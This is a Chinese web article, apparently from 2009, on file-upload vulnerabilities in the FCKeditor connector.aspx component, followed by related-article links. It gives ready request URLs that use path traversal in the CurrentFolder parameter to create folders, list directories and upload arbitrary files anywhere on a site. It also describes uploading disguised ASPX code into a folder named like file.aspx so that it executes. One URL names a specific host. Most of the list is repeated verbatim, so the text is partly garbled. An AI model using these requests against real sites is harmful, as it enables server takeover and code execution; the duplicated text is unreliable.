FCKeditor 新聞組件的一些程序漏洞
更新時(shí)間：2009年04月28日 20:14:44 作者：
很多網(wǎng)站可能都在用FCK的新聞編輯組件，使用FCK的時(shí)候一定要注意版本是否安全，以下是FCK中的文件上傳漏洞：（主要是：connector.aspx文件的漏洞）
1 CurrentFolder 參數(shù)，可以在網(wǎng)站中不同目錄新建文件夾，參數(shù)使用 ../../來(lái)篡改參數(shù)，進(jìn)入不同的目錄
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp
2 CurrentFolder 參數(shù)，根據(jù)返回的XML信息可以查看網(wǎng)站所有的目錄，比如 “../../../”進(jìn)入不同的目錄，讓后通過(guò)XML返回的消息就可以看到?jīng)]有權(quán)限的頁(yè)面browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
3 上傳文件時(shí)，通過(guò)修改CurrentFolder參數(shù)，可以將文件上傳到不同的目錄
/browser/default/connectors/aspx/connector.aspx?Command=FileUpload&Type=Image&CurrentFolder=%2F
4 同時(shí)修改Type 和CurrentFolder 參數(shù)，可以上傳任意類型文件到網(wǎng)站任意目錄，基本上網(wǎng)站就完蛋了。
/browser/default/connectors/aspx/connector.aspx?Command=FileUpload&Type=Image&CurrentFolder=%2F
http://samsungfriend.local.opentide.com.cn/upload/fckroots/Image/asp.asp/asp.asp
5 通過(guò)創(chuàng)建文件夾的功能，創(chuàng)建名字帶有.aspx的文件夾，如：file.aspx等，利用文件解析漏洞，在該文件夾下上傳有代碼的.jpg 或.rar等文件（實(shí)際文件是.aspx，把文件名該后綴），上傳之后就可以利用漏洞執(zhí)行代碼了。 如：www.xxx.com/upload/file.aspx/123.jpg 輸入之后，代碼被成功執(zhí)行。
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=aspx.asp
2 CurrentFolder 參數(shù)，根據(jù)返回的XML信息可以查看網(wǎng)站所有的目錄，比如 “../../../”進(jìn)入不同的目錄，讓后通過(guò)XML返回的消息就可以看到?jīng)]有權(quán)限的頁(yè)面browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
3 上傳文件時(shí)，通過(guò)修改CurrentFolder參數(shù)，可以將文件上傳到不同的目錄
/browser/default/connectors/aspx/connector.aspx?Command=FileUpload&Type=Image&CurrentFolder=%2F
4 同時(shí)修改Type 和CurrentFolder 參數(shù)，可以上傳任意類型文件到網(wǎng)站任意目錄，基本上網(wǎng)站就完蛋了。
/browser/default/connectors/aspx/connector.aspx?Command=FileUpload&Type=Image&CurrentFolder=%2F
http://samsungfriend.local.opentide.com.cn/upload/fckroots/Image/asp.asp/asp.asp
5 通過(guò)創(chuàng)建文件夾的功能，創(chuàng)建名字帶有.aspx的文件夾，如：file.aspx等，利用文件解析漏洞，在該文件夾下上傳有代碼的.jpg 或.rar等文件（實(shí)際文件是.aspx，把文件名該后綴），上傳之后就可以利用漏洞執(zhí)行代碼了。 如：www.xxx.com/upload/file.aspx/123.jpg 輸入之后，代碼被成功執(zhí)行。
相關(guān)文章
徹底解決ewebeditor網(wǎng)站后臺(tái)不能上傳圖片的方法
隨著windows操作系統(tǒng)和IE瀏覽器版本的不斷推出，很多客戶都漸漸放棄了IE6，IE7，使用上了IE8瀏覽器，但是突然發(fā)現(xiàn)自己網(wǎng)站后臺(tái)里面的eWebEditor文本編輯器的插入圖片等等按鈕失效了，鼠標(biāo)點(diǎn)擊后什么反應(yīng)都沒(méi)有，IE瀏覽器左下角顯示一個(gè)黃色的感嘆號(hào)提示錯(cuò)誤，就以為是網(wǎng)站空間、服務(wù)器中毒了呢，一時(shí)間紛紛都來(lái)找我們?cè)儐?wèn)2012-03-03
ASp.net下fckeditor配置圖片上傳最簡(jiǎn)單的方法
fckeditor 的基本配置我就不講了，講講圖片上傳這塊吧；2010-01-01
個(gè)人覺(jué)得這文章很適合初開(kāi)發(fā)FCK插件的朋友~，對(duì)于插件的開(kāi)發(fā)的實(shí)例可以看我們上一篇發(fā)表的文字。2009-06-06
這篇文章主要介紹了讓IE8和IE9支持eWebEditor在線編輯器的方法,eWebEditor常用在ASP制作的網(wǎng)站后臺(tái)中,是比較古老的一款在線編輯器了,需要讓IE8和IE9支持的朋友可以參考下2014-06-06
myFocus 一個(gè)KindEditor的焦點(diǎn)圖插件
使用KindEditor(富文本編輯器)提供的接口將myFocus（焦點(diǎn)圖庫(kù)）集成在KindEditor上2011-04-04
javascript fckeditor編輯器取值與賦值實(shí)現(xiàn)代碼
這篇文章對(duì)于使用fckeditor編輯器的朋友是個(gè)不錯(cuò)應(yīng)用，主要介紹的是js對(duì)fckeditor的取值與賦值操作，fckeditor是個(gè)不錯(cuò)的比較方便的擴(kuò)展功能的編輯器。2010-05-05
這篇文章主要介紹了一款垃圾中的極品HTML編輯器(兼容IE OR FF)2007-04-04
在使用FCK編輯器的時(shí)候，我們經(jīng)常會(huì)進(jìn)行對(duì)FCK編輯器的賦值操作，賦值的操作有兩個(gè)關(guān)鍵的地方，如果不清楚的話出了錯(cuò)還百思不得其解.2009-11-11
FCKeditor編輯器添加圖片上傳功能及圖片路徑問(wèn)題解決方法
現(xiàn)在很多CMS系統(tǒng)因?yàn)榘踩驎?huì)把后臺(tái)編輯器里的上傳功能給去除，但這樣一來(lái)對(duì)實(shí)際使用過(guò)程造成了很多麻煩，今天我們以ASPCMS系統(tǒng)的FCKeditor編輯器為例，說(shuō)明一下如何增加圖片上傳功能2014-04-04
ckeditor syntaxhighlighter代碼高亮插件配置分享
現(xiàn)在大家可以不必像我這樣為了實(shí)現(xiàn)代碼高亮的功能，去修改ckeditor編輯器，大家可以去使用百度編輯器(Ueditor)他有代碼高亮的功能，還蠻好用的，我的個(gè)人網(wǎng)站就是的百度編輯器的。歡迎大家去我的博客看看2014-12-12